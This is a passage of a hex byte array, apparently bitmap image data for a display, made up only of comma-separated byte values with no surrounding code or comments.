0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xE0, 0x82, 0x3F, \n0x10, 0x77, 0x02, 0xFC, 0x13, 0xFC, 0x27, 0xC2, 0xFD, 0xC1, 0xFE, 0x0F, 0xE1, 0xE7, 0xE5, \n0xEF, 0x27, 0xD3, 0x0C, 0xFE, 0x61, 0xEE, 0x6C, 0x7E, 0x01, 0xF0, 0x7C, 0x7C, 0x71, 0x87, \n0x5C, 0x07, 0x98, 0x0F, 0x86, 0xE0, 0x0F, 0x04, 0x78, 0xE2, 0x3E, 0xC0, 0x3E, 0x33, 0xB0, \n0x70, 0x1B, 0x83, 0x10, 0x58, 0xE0, 0x7C, 0x0F, 0xF0, 0x07, 0xF8, 0x0F, 0x86, 0xE4, 0x3E, \n0x07, 0xF0, 0xC6, 0x17, 0xBC, 0x0F, 0x83, 0xFC, 0x60, 0x7E, 0xC1, 0xE1, 0xDC, 0x1D, 0x83, \n0xE0, 0x7E, 0x17, 0x1F, 0x80, 0xCE, 0xE0, 0x87, 0xC1, 0xFF, 0x01, 0xF8, 0x02, 0xF0, 0x0F, \n0xC0, 0x3F, 0x84, 0x1C, 0x1F, 0x01, 0xC8, 0x3E, 0x07, 0xE1, 0x31, 0xF8, 0x40, 0xFE, 0x01, \n0xFC, 0x07, 0xF0, 0x1F, 0x81, 0xF8, 0x1F, 0x81, 0xFC, 0x0D, 0xF0, 0x8F, 0x80, 0xF8, 0xFF, \n0xC0, 0x65, 0xCC, 0xE0, 0x07, 0xD0, 0x38, 0x7E, 0x00, 0x61, 0xC0, 0xE6, 0x13, 0xD2, 0x0C, \n0x7E, 0x00, 0xF0, 0x01, 0xF8, 0x70, 0x78, 0x0F, 0xC0, 0x07, 0xF8, 0x61, 0xE0, 0x7F, 0x00, \n0x3F, 0xF0, 0xE3, 0xF0, 0x8F, 0x81, 0xCF, 0x63, 0x83, 0x80, 0xFE, 0x08, 0x3F, 0xE3, 0xE3, \n0x01, 0xFE, 0x07, 0xFC, 0x03, 0xF8, 0x07, 0xBA, 0x30, 0x10, 0xEF, 0x80, 0x07, 0xFC, 0x11, \n0xFC, 0x03, 0xF0, 0x7F, 0x80, 0x7F, 0x03, 0xF7, 0x57, 0x82, 0x1D, 0xF0, 0x80, 0xFF, 0xC0, \n0x3F, 0x80, 0x5F, 0xE0, 0xE1, 0xCF, 0xD0, 0x0F, 0xA8, 0x60, 0x7F, 0x00, 0x1D, 0x7C, 0x03, \n0xF0, 0x70, 0xE3, 0xF8, 0x07, 0x80, 0x38, 0x3F, 0x81, 0xF8, 0x1F, 0xC0, 0x3B, 0x61, 0xE0, \n0x05, 0xBF, 0x0C, 0xC6, 0x30, 0x47, 0xC1, 0xF8, 0x0F, 0xF0, 0x1D, 0xE0, 0xF8, 0x03, 0xDF, \n0x8E, 0x43, 0x10, 0x63, 0xC1, 0xE0, 0x01, 0xFC, 0x05, 0xC0, 0x7E, 0x03, 0xE2, 0x1C, 0xC0, \n0x57, 0x03, 0xE0, 0x78, 0x02, 0x3E, 0x03, 0x70, 0x3F, 0x80, 0xF8, 0x87, 0x30, 0x0D, 0xE1, \n0xE0, 0xD4, 0x0F, 0x83, 0xBA, 0xC0, 0x2F, 0xA0, 0x1E, 0x40, 0x7F, 0x0B, 0x03, 0xE0, 0x30, \n0xFC, 0x18, 0x0F, 0xC0, 0x14, 0x79, 0xC8, 0x02, 0xFA, 0x03, 0xCC, 0x07, 0xF0, 0x20, 0x7E, \n0x07, 0x0F, 0x0F, 0x00, 0xFB, 0xC0, 0xFF, 0x0C, 0x67, 0x80, 0x7F, 0x00, 0x7F, 0x00, 0x0E, \n0x78, 0xE0, 0x67, 0x86, 0x83, 0x86, 0x2C, 0x00, 0x7F, 0x04, 0x07, 0x00, 0x7C, 0xE1, 0xD7, \n0xC0, 0xCF, 0xE0, 0x0E, 0xF0, 0x1F, 0xC2, 0x11, 0x8E, 0xEC, 0x3E, 0x00, 0xFF, 0x01, 0xF8, \n0x20, 0x18, 0xFE, 0x80, 0xFC, 0x0F, 0xE0, 0x0F, 0x87, 0xC0, 0x0F, 0xE0, 0x7F, 0x80, 0xF8, \n0x7C, 0x00, 0xFF, 0x01, 0xFC, 0x04, 0x7F, 0x80, 0x3F, 0xFF, 0x01, 0xF8, 0x0F, 0xE0, 0x3F, \n0x05, 0x80, 0x1F, 0xE0, 0x3F, 0x81, 0x87, 0xF0, 0x0F, 0xFC, 0x40, 0x7F, 0x00, 0x8C, 0x1A, \n0x01, 0xFE, 0x0E, 0x01, 0xFC, 0x02, 0x07, 0xF0, 0x01, 0xF8, 0x0E, 0x8F, 0x80, 0xE0, 0x3F, \n0x80, 0x20, 0xFE, 0x00, 0x3F, 0x81, 0xEC, 0xE8, 0x1E, 0x03, 0x08, 0x03, 0xFC, 0x00, 0x1F, \n0xE0, 0x3C, 0x1F, 0x80, 0x3F, 0xC0, 0xFE, 0xE0, 0x0F, 0x03, 0x8C, 0x01, 0xFE, 0x00, 0x1F, \n0xF0, 0x1E, 0x8B, 0xC0, 0xFB, 0x00, 0x7F, 0x01, 0x8E, 0x01, 0x9C, 0xC0, 0x05, 0x86, 0x38, \n0xC0, 0x1F, 0xC0, 0x3F, 0x3C, 0x03, 0xFC, 0x01, 0xFC, 0x06, 0x38, 0x06, 0x73, 0x80, 0x1E, \n0x18, 0x5B, 0x80, 0x7F, 0x80, 0xFF, 0xE0, 0x0F, 0xE4, 0x0D, 0x80, 0x88, 0x3F, 0xC0, 0xB2, \n0x10, 0x83, 0xE6, 0x00, 0x90, 0x1F, 0x30, 0x0F, 0xE0, 0x1F, 0xFC, 0x01, 0xFC, 0x01, 0xB0, \n0x11, 0x07, 0xF8, 0x06, 0x8E, 0x00, 0x78, 0xC0, 0x02, 0x07, 0xE2, 0x00, 0x39, 0xFC, 0x0F, \n0x80, 0x1F, 0x80, 0x3F, 0x80, 0xCF, 0xE0, 0x5F, 0x00, 0x04, 0xFF, 0x00, 0x3E, 0x00, 0x1F, \n0x20, 0x7F, 0x00, 0x3F, 0x80, 0x7E, 0x00, 0x17, 0xFC, 0x02, 0xFC, 0x00, 0x27, 0xE0, 0x1F, \n0x01, 0xFC, 0x00, 0x0F, 0x80, 0xFC, 0x04, 0x09, 0xE0, 0x00, 0x38, 0x20, 0x03, 0xE0, 0x1F, \n0x01, 0xFC, 0x00, 0x0F, 0xC0, 0x7E, 0x06, 0xA4, 0xE0, 0x06, 0x08, 0x77, 0x81, 0xFF, 0x80, \n0x07, 0xFC, 0x00, 0x01, 0xFC, 0x01, 0x9C, 0xBC, 0x00, 0x05, 0xC0, 0xF0, 0x06, 0x60, 0xF0, \n0x02, 0xC0, 0x77, 0x81, 0xFF, 0x80, 0x07, 0xFC, 0x00, 0x01, 0xFC, 0x00, 0x8E, 0xB8, 0x03, \n0xC0, 0x07, 0xE0, 0x0E, 0x78, 0x6E, 0x01, 0xF0, 0x0F, 0x44, 0x0E, 0x78, 0x03, 0xE1, 0x01, \n0xE0, 0xCC, 0x05, 0xE8, 0x80, 0xFF, 0x00, 0x1E, 0xE0, 0x3C, 0x18, 0xC0, 0xB8, 0x18, 0x0F, \n0xE0, 0x00, 0xFC, 0x03, 0x9C, 0x1C, 0x08, 0x07, 0x40, 0xFC, 0x00, 0x7E, 0x00, 0x03, 0x07, \n0x80, 0x01, 0xF0, 0x0F, 0x80, 0x1F, 0x00, 0xC0, 0x38, 0x20, 0x46, 0x02, 0xE0, 0x00, 0x18, \n0x70, 0x07, 0xE0, 0x3E, 0xE0, 0x70, 0x00, 0x3E, 0x01, 0xF0, 0x01, 0xF0, 0x08, 0x03, 0x82, \n0x00, 0xE0, 0xFC, 0x04, 0x31, 0x0F, 0x80, 0x78, 0x07, 0xF8, 0x07, 0xF0, 0x1E, 0x23, 0x80, \n0xE0, 0x3C, 0x07, 0x80, 0x7F, 0x80, 0x07, 0x80, 0xF0, 0x01, 0xF8, 0x00, 0xF0, 0x3F, 0xC0, \n0x1F, 0x80, 0xFE, 0x18, 0x0F, 0x03, 0x80, 0x78, 0x0F, 0xFC, 0x00, 0x3C, 0x07, 0xF8, 0x03, \n0xE0, 0x1F, 0x84, 0x03, 0xE0, 0xE0, 0x3E, 0x03, 0xF0, 0x00, 0xF0, 0x1F, 0x0F, 0xC0, 0x38, \n0x06, 0xFC, 0x03, 0xC0, 0x0E, 0x00, 0x7C, 0x01, 0xE0, 0x38, 0x06, 0xE4, 0x0F, 0xC0, 0x3E, \n0x01, 0xFC, 0x10, 0x7C, 0x00, 0x3F, 0x80, 0x3E, 0x00, 0x0B, 0x80, 0xF0, 0xD8, 0x03, 0xE0, \n0x6F, 0x40, 0xFC, 0x03, 0xF0, 0x1F, 0xC1, 0x07, 0xC0, 0x03, 0xF8, 0x03, 0xC0, 0x31, 0x88, \n0x0F, 0x00, 0x81, 0xCE, 0x01, 0xFE, 0x07, 0xE0, 0xFC, 0x00, 0x60, 0x0F, 0x00, 0x0F, 0x83, \n0x87, 0x00, 0x37, 0x00, 0x7F, 0x00, 0x1E, 0x11, 0x03, 0x8C, 0x03, 0xFC, 0x0F, 0xC0, 0xF8, \n0x00, 0xC0, 0x1E, 0x00, 0x1F, 0x07, 0x0E, 0x00, 0xFE, 0x00, 0x7C, 0x43, 0x00, 0x7C, 0x03, \n0x84, 0x00, 0x30, 0x00, 0x87, 0xC0, 0x7C, 0x00, 0xFC, 0x1F, 0x80, 0x04, 0x04, 0x08, 0x00, \n0x01, 0xF8, 0x03, 0x00, 0x3F, 0x07, 0xE0, 0x03, 0x01, 0x8E, 0x00, 0xC0, 0x3F, 0x00, 0x80, \n0x1E, 0x02, 0xF8, 0x0A, 0x00, 0xFC, 0x06, 0x00, 0xE3, 0x00, 0x78, 0x03, 0xE0, 0x10, 0x07, \n0xC0, 0xBF, 0x06, 0x00, 0x3F, 0x80, 0xC0, 0x3D, 0xC0, 0x3F, 0x00, 0xF0, 0x06, 0x00, 0x1F, \n0x01, 0xF0, 0x0F, 0xC0, 0x38, 0x00, 0xF8, 0x07, 0x80, 0x7E, 0x01, 0xE0, 0x09, 0xC0, 0x0F, \n0x80, 0x08, 0x43, 0xC0, 0x0F, 0x00, 0xFC, 0x03, 0x80, 0x01, 0xA0, 0x1F, 0x00, 0x10, 0x9F, \n0x80, 0x1F, 0x00, 0x00, 0x80, 0x1F, 0x81, 0xFC, 0x00, 0x3E, 0x00, 0x00, 0xE0, 0x01, 0xF0, \n0x03, 0xE0, 0x3D, 0x80, 0x0F, 0x80, 0x00, 0x1C, 0x00, 0x7E, 0x00, 0xC6, 0x02, 0x20, 0x4C, \n0x01, 0x90, 0x1F, 0x00, 0x79, 0x00, 0x00, 0x0C, 0x00, 0xFC, 0x03, 0xFC, 0x00, 0x40, 0x00, \n0x01, 0xE0, 0x01, 0xC0, 0x00, 0x30, 0x00, 0x06, 0xC0, 0x18, 0x81, 0xF8, 0x03, 0xF8, 0x00, \n0x01, 0xD0, 0x03, 0xE0, 0x00, 0x07, 0x80, 0x3E, 0x00, 0x0F, 0x80, 0x3F, 0x00, 0xFE, 0x02, \n0xF8, 0x00, 0x60, 0x03, 0x01, 0x30, 0x00, 0x07, 0xC0, 0x1E, 0x00, 0x07, 0x80, 0x3F, 0x80, \n0x7E, 0x01, 0x78, 0x00, 0x7A, 0x01, 0xE0, 0x38, 0x00, 0x1F, 0xC0, 0x06, 0x06, 0x03, 0x00, \n0x0F, 0xE0, 0x00, 0xFC, 0x03, 0x80, 0x7E, 0x01, 0xF0, 0x0C, 0x02, 0x30, 0x00, 0x38, 0x00, \n0x07, 0xE0, 0x07, 0x02, 0x03, 0x00, 0x07, 0xE0, 0x00, 0xFC, 0x01, 0xD0, 0x7E, 0x01, 0xF0, \n0x0F, 0x00, 0x7C, 0x03, 0xB8, 0x10, 0x01, 0xE0, 0x07, 0xE0, 0x3C, 0x07, 0x80, 0x30, 0x00, \n0x3C, 0x00, 0x30, 0x00, 0x03, 0xC0, 0x07, 0x00, 0x0E, 0x00, 0xE0, 0x18, 0x01, 0x60, 0x0D, \n0xC0, 0x7F, 0x00, 0x80, 0x3E, 0x00, 0x7C, 0x01, 0x80, 0xE0, 0x07, 0x00, 0x07, 0x80, 0x07, \n0x00, 0x60, 0x38, 0x01, 0x60, 0xCC, 0xC0, 0x7F, 0x00, 0x80, 0x1F, 0x40, 0x3B, 0x00, 0x1E, \n0x00, 0x03, 0xE0, 0x01, 0xC0, 0x03, 0xC0, 0x02, 0xC0, 0x00, 0x60, 0x00, 0x60, 0x02, 0x00, \n0x00, 0x20, 0x00, 0x30, 0x00, 0x02, 0x02, 0xF0, 0x00, 0x00, 0x06, 0x00, 0x01, 0x80, 0x18, \n0xC0, 0x00, 0x40, 0x04, 0x00, 0x05, 0xC0, 0x00, 0x40, 0x18, 0x01, 0x00, 0x00, 0x61, 0x03, \n0x80, 0x00, 0x60, 0x00, 0x1F, 0x00, 0x00, 0x20, 0x0C, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, \n0x38, 0x40, 0xE0, 0x00, 0x18, 0x00, 0x06, 0xC0, 0x00, 0x0C, 0x07, 0x00, 0x03, 0xC0, 0x1C, \n0x00, 0x00, 0x1F, 0x81, 0xC0, 0x00, 0x00, 0x00, 0x04, 0xC0, 0x07, 0xC0, 0x1E, 0x00, 0x00, \n0x06, 0x00, 0x0E, 0x01, 0xE0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0xF0, 0x00, 0x00, \n0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0x00, 0x3F, 0x00, 0xF0, 0x03, 0x00, 0x11, 0x00, \n0x00, 0x0F, 0x00, 0x78, 0x00, 0x00, 0x3E, 0x00, 0x61, 0x00, 0x02, 0x00, 0x1F, 0x00, 0x1E, \n0x00, 0x30, 0x03, 0x80, 0x30, 0x03, 0x80, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x60, \n0x00, 0x00, 0x00, 0x0F, 0x00, 0x1F, 0x00, 0x30, 0x01, 0x80, 0x10, 0x03, 0x80, 0x1F, 0x00, \n0x00, 0x00, 0x18, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x03, 0x00, 0x00, \n0xE0, 0x00, 0x20, 0x00, 0x08, 0x00, 0xE0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x0E, \n0x00, 0x02, 0x00, 0x00, 0x00, 0x1C, 0x01, 0xC0, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, \n0x80, 0x00, 0x1C, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, \n0x00, 0x03, 0xC0, 0x01, 0x00, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, \n0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x20, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x08, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x10, 0x00, 0x04, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, \n0x00, 0x07, 0xC0, 0x0F, 0x80, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x60, \n0x00, 0x01, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x04, 0x00, 0x02, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 